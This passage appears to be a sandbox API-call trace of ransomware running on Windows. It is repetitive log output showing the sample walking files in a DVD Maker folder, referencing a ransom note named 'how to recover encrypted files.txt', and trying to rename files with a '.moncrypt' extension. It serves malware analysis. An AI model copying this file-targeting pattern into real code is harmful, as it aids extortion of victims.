cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.813] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\NavigationRight_SelectionSubpicture.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.813] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.813] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.813] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.814] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.814] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.814] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.814] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.814] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.814] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.814] GlobalUnlock (hMem=0x440004) returned 0 [0058.814] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.814] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.814] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.815] GlobalUnlock (hMem=0x440004) returned 0 [0058.815] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.815] GlobalUnlock (hMem=0x44000c) returned 0 [0058.815] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.815] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.816] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.816] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.816] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.816] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.816] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.817] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.817] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.817] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.817] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.817] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.817] GlobalUnlock (hMem=0x44000c) returned 0 [0058.817] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.817] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.817] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.817] GlobalUnlock (hMem=0x44000c) returned 0 [0058.817] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.817] GlobalUnlock (hMem=0x440004) returned 0 [0058.817] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.817] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0058.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", 